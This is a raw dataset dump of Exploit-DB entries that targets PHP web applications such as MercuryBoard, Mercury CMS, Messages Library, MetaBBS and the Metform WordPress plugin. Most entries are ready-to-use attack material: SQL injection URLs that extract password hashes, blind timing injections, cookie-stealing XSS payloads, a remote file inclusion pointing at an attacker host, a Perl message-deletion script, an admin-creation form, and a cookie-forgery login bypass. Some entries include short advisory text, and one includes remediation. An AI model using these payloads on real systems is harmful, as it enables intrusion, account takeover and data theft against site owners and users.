deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26912
Description: Mercury CMS 4.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15967/info

Mercury CMS is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

These issues affect version 4.0; other versions may also be vulnerable. 

http://www.example.com/index.cfm?page=[SQL]
http://www.example.com/index.cfm?page=40&criteria=&start=11&title=&content=[XSS]
http://www.example.com/index.cfm?restricted=false&page=10&criteria=[XSS]
Exploit-DB #25093
Description: MercuryBoard 1.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-02-09
Author: Zeelock

Exploit:
source: https://www.securityfocus.com/bid/12503/info

MercuryBoard is affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input before being used in SQL queries.

The vulnerability is reported to affect the 'index.php' script.

MercuryBoard 1.1.1 and prior versions are affected by this vulnerability. 

http://www.example.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION
%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20
=%201%20limit%201/*
Exploit-DB #25059
Description: MercuryBoard 1.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-01-25
Author: Alberto Trivero

Exploit:
source: https://www.securityfocus.com/bid/12359/info

Multiple input validation vulnerabilities affect MercuryBoard. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in critical functionality.

An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user and manipulate SQL queries against the underlying database. This may facilitate the theft of authentication credentials, destruction of data, and other attacks. 

http://www.example.com/index.php?a=pm&s='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=members&l='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=post&s='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=cp&s='><script>alert(document.cookie)</script>

To leverage the SQL injection vulnerability:
http://www.example.com/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*

http://www.example.com/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*
Exploit-DB #814
Description: MercuryBoard 1.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2005-02-12
Author: Zeelock

Exploit:
# little late posting this /str0ke

Exploit:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

# milw0rm.com [2005-02-12]
Exploit-DB #33468
Description: MercuryBoard 1.1.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-04
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37605/info

MercuryBoard is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MercuryBoard 1.1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/mercuryboard-1.1.5/index.php/>&#039;><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #25112
Description: MercuryBoard Forum 1.0/1.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-02-16
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/12578/info

A remote cross-site scripting vulnerability affects the 'forum.php' script of MercuryBoard. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?a=forum&f='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/index.php?a=forum&f='><script>alert(document.cookie)</script>
Exploit-DB #7352
Description: Merlix Teamworx Server - File Disclosure/Bypass
Type: webapps
Platform: php
Date: 2008-12-05
Author: ZoRLu

Exploit:
[~] Merlix Teamworx Server DD/Bypass Multiple Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------


exp for demo: ( DD )

http://demo.merlix.com/teamworx/teamworx.mdb

exp for demo: ( Bypass )

http://demo.merlix.com/teamworx/default.asp

user: ZoRLu ( or dont write anything )

passwd: ' or '

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-05]
Exploit-DB #46271
Description: Mess Management System 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-28
Author: Ihsan Sencan

Exploit:
# Exploit Title: Mess Management System 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-28
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.m.testbd.xyz/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/biddut/ms_0.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?mod=admin&pg=admin_form&id=[SQL]
# 

GET /[PATH]/index.php?mod=admin&pg=admin_form&id=%2d%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%33%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=6bpo344k5sbed3vd2lc6tlgh80
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Date: Sat, 26 Jan 2019 21:31:38 GMT
Transfer-Encoding: chunked

# POC: 
# 2)
# http://localhost/[PATH]/index.php?mod=BazarList&pg=BazarList_view
# 

POST /[PATH]/index.php?mod=BazarList&pg=BazarList_view HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Cookie: PHPSESSID=6bpo344k5sbed3vd2lc6tlgh80
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
qcari=%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%34%20%2d%2d%20%2d: undefined
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin
Date: Sat, 26 Jan 2019 21:33:39 GMT
Transfer-Encoding: chunked
Exploit-DB #2832
Description: Messagerie Locale - 'centre.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-23
Author: DaDIsS

Exploit:
#===================================================================================#
#
# Messagerie Locale => (centre.php) $page Remote File Inclusion Exploit
#
#===================================================================================#
#
# Softname : Messagerie Locale
# Url : http://dvmet.free.fr/script/messagerie.zip
# Dork : inurl:indexmess.php
# Exploit type : Remote File Inclusion.
# Critical: Dangerous.
# Solution Status: Unpatched.
#
#===================================================================================#
#
# By DaDIsS - Member of the Moroccan Hackers Team
#
#===================================================================================#
#
# Exploit Explanation : 
#
#
# The flaw resides in centre.php file that contain this code :
# 
# <?
#    if(isset($_GET['page']))
#   {
#        $page=$_GET['page'];
#   }
#    else
#   {
#       $page="";
#   }
#
#    if (empty($page)||!isset($page))
#   {
#         include("accueil.php");
#   }
#    else
#   {
#        include($page.".php");
#   }
#
#  ?>
#
#===================================================================================#
#
# Example : 
#
#
# http://www.victime.com/(path)/centre.php?page=http://attacker
#
#
#================================================================#
#
# Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !!
#
#===================================================================================#
#
# DaDIsS / dadiss@virtuaplanet.net
# Proud to be a Moroccan !
#
#===================================================================================#

# milw0rm.com [2006-11-23]
Exploit-DB #29245
Description: Messageriescripthp 2.0 - '/Contact/contact.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21513/info
   
Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
Messageriescripthp V2.0 is vulnerable to this issue.

http://www.example.com/[script_messagerie_path]/Contact/contact.php?pageName=</title>[XSS]
http://www.example.com/[script_messagerie_path]/Contact/contact.php?cssform=">[XSS]<foo
Exploit-DB #29244
Description: Messageriescripthp 2.0 - 'existeemail.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21513/info
  
Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
Messageriescripthp V2.0 is vulnerable to this issue.

http://www.example.com/[script_messagerie_path]/existeemail.php?email=[XSS]
Exploit-DB #29243
Description: Messageriescripthp 2.0 - 'existepseudo.php?pseudo' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21513/info
 
Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
Messageriescripthp V2.0 is vulnerable to this issue.
 
http://www.example.com//[script_messagerie_path]/existepseudo.php?pseudo=[XSS]
Exploit-DB #29242
Description: Messageriescripthp 2.0 - 'lire-avis.php?aa' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21513/info

Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Messageriescripthp V2.0 is vulnerable to this issue.

http://www.example.com/[script_messagerie_path]/lire-avis.php?aa=[SQL INJECTION]
Exploit-DB #9059
Description: Messages Library 2.0 - Arbitrary Administrator Account
Type: webapps
Platform: php
Date: 2009-06-30
Author: ThE g0bL!N

Exploit:
<head>
<title>ThE g0bL!N  Messages Library 2.0 Remote Add Admintsrator Account </title>
<base target="left">
<link rel="stylesheet" href="style.css">
</head>
<form method="POST" action="http://path/sms/admin/mod.php?Action=Add">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1">
    <tr>
      <td width="25%"><font face="MS Sans Serif" size="2">Username</font></td>
      <td width="75%">&nbsp;<input type="text" name="Name" size="57"></td>
    </tr>
    <tr>
      <td width="25%"><font face="MS Sans Serif" size="2">Password</font></td>
      <td width="75%">&nbsp;<input type="password" name="Password" size="57"></td>
    </tr>
  </table>
  <p align="center"><input type="submit" value="add admin" name="B1"></p>
</form>
</body>
</html>

# milw0rm.com [2009-06-30]
Exploit-DB #9062
Description: Messages Library 2.0 - Arbitrary Delete Message
Type: webapps
Platform: php
Date: 2009-07-01
Author: Stack

Exploit:
#!/usr/bin/perl -w
#  Messages Library 2.0 <=  Arbitrary Delete Message
########################################
#[*] Founded &  Exploited by : Stack
########################################
print "\t\t############################################################\n\n";
print "\t\t#   Messages Library 2.0 <=  Arbitrary Delete Message      #\n\n";
print "\t\t#                          by Stack                        #\n\n";
print "\t\t############################################################\n\n";
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/\n" unless @ARGV;
print "\n[!] ContactID : ";
chomp(my $id=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] . "/admin/sms.php?Action=Delete&ID=".$id."";
$res = $b->request(HTTP::Request->new(POST=>$host));
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Message Deleted \n";

# milw0rm.com [2009-07-01]
Exploit-DB #9063
Description: Messages Library 2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-07-01
Author: Stack

Exploit:
# Messages Library 2.0 <=  Arbitrary Database Download Vulnerability
########################################
#[*] Founded &  Exploited by : Stack
########################################
 
Bypass with
 
javascript:document.cookie = "SaphpLesson_Name=admin' or 1=1--; path=/";
javascript:document.cookie = "SaphpLesson_Password=' or 1=1--; path=/";
 
After Exec
 
http://localhost/sms/admin/backup.php
 
and you got the database download

# milw0rm.com [2009-07-01]
Exploit-DB #9227
Description: Meta Search Engine Script - 'url' Local File Disclosure
Type: webapps
Platform: php
Date: 2009-07-21
Author: Moudi

Exploit:
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Meta Search Engine 1.0 Remote File Inclusion
==============================================================================

	[Â»] Script:             [ Meta Search Engine 1.0 ]
	[Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.mydlstore.com/product.php?productid=40826&cat=0&page=1  ]
	[Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ OFF ]
        [Â»] Price:              [ USD 12.99 ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit RFI + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/?url=[RFI]&file=Search
[Â»] http://www.site.com/patch/index.php?url=[RFI]&file=Search

[Â»] http://www.mydlstore.net/metasearch/?url=evilcode.txt?&file=Search
[Â»] http://www.mydlstore.net/metasearch/index.php?url=evilcode.txt?&file=Search


Author: Moudi

###########################################################################

note: readfile($url) is the issue, so fd

# milw0rm.com [2009-07-21]
Exploit-DB #32777
Description: MetaBBS 0.11 - Administration Settings Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-04
Author: make0day

Exploit:
source: https://www.securityfocus.com/bid/33626/info

MetaBBS is prone to a vulnerability that lets attackers modify arbitrary user passwords because it fails to adequately secure access to administrative functionality.

Exploiting this issue may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

MetaBBS 0.11 is vulnerable; other versions may also be affected. 

<form method="post" action="http://www.example.com/metabbs/admin/settings/?"> <dl> <dt><label for="settings_admin_password">Admin password</label></dt> <dd><input id="settings_admin_password" size="20" name="settings[admin_password]" value="" type="password" /></dd> <dt><label for="settings_global_header">Header file</label></dt> <dd><input id="settings_global_header" size="30" name="settings[global_header]" value="" type="text" /></dd> <dt><label for="settings_global_footer">Footer File</label></dt> <dd><input id="settings_global_footer" size="30" name="settings[global_footer]" value="" type="text" /></dd> <dt><label for="settings_theme">Site theme</label></dt> <dd><input id="settings_theme" size="30" name="settings[theme]" value="" type="text" /></dd> <dt><label for="settings_default_language">Language</label></dt> <dd> <dd><input id="ettings_default_language" size="30" name="settings[default_language]" value="" type="text" /></dd> <input name="settings[always_use_default_language]" value="0" type="hidden" /><input id="settings_always_use_default_language" name="settings[always_use_default_language]" value="1" type="checkbox" /> <label for="settings_always_use_default_language">Always Use Default Language</label> </dd> <dt><label for="settings_timezone">TimeZone</label></dt> <dd> <dd><input id="settings_timezone" size="30" name="settings[timezone]" value="" type="text" /></dd> </dl> <h2>Advanced Setting</h2> <p><input name="settings[force_fancy_url]" value="0" type="hidden" /> <input id="settings_force_fancy_url" name="settings[force_fancy_url]" value="1" type="checkbox" /> <label for="settings_force_fancy_url">Fancy URL Force Apply</label></p> <p><input type="submit" value="OK" /></p> </form>
Exploit-DB #51204
Description: Metform Elementor Contact Form Builder v3.1.2 - Unauthenticated Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-03
Author: Mohammed Chemouri

Exploit:
# Exploit Title: Metform Elementor Contact Form Builder v3.1.2 - Unauthenticated Stored Cross-Site Scripting (XSS)
# Google Dork: inurl:metform-form intext:textarea|message
# Date: 14/01/2023
# Exploit Author: Mohammed Chemouri (https://de.linkedin.com/in/chemouri)
# Vendor Homepage: https://wpmet.com/plugin/metform/
# Software Link: https://downloads.wordpress.org/plugin/metform.3.1.2.zip
# Version: <= 3.1.2
# Tested on: WordPress version 6.1.1, PHP version 8.0.27 (64bit)
# CVE : CVE-2023-0084

Description:

An unauthenticated attacker can insert a persistent malicious JavaScript
code via the text-area field and because the input is not properly
sanitized the XSS will be executed each time the victim visits the affected
post.
An attacker can steal admin’s session or credentials e.g., using a phishing
attack (display fake login page) and may install a JavaScript backdoor like
the Browser Exploitation Framework (BeeF). ,etc.

Reproduction Steps:

1- Create a new form (using MetForm Elementor widgets) and insert a
text-area field and a submit button then publish the form.
2- Visit the created form (no login needed) and insert the following
JavaScript code in the text-area and submit:
<script>alert(0)</script>
3- By visiting MetForm then Entries from the WP-ADMIN panel and viewing the
inserted post the XSS payload will be executed.

Because there is may bots scanning the web and trying to brute-force
admin's credentials or exploit known vulnerabilities this flaw can be also
automated to steal credentials or do actions on behalf of the logged in
user or even install a JavaScript worm like the Browser Exploitation
Framework (BeeF) and make more than 100,000 websites under a high risk.

Remediation:

All fields must be properly sanitized and escaped before being displayed in
the browser. WordPress already offers an API for this purpose.

For more information please refer to:
https://developer.wordpress.org/apis/security/common-vulnerabilities/
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html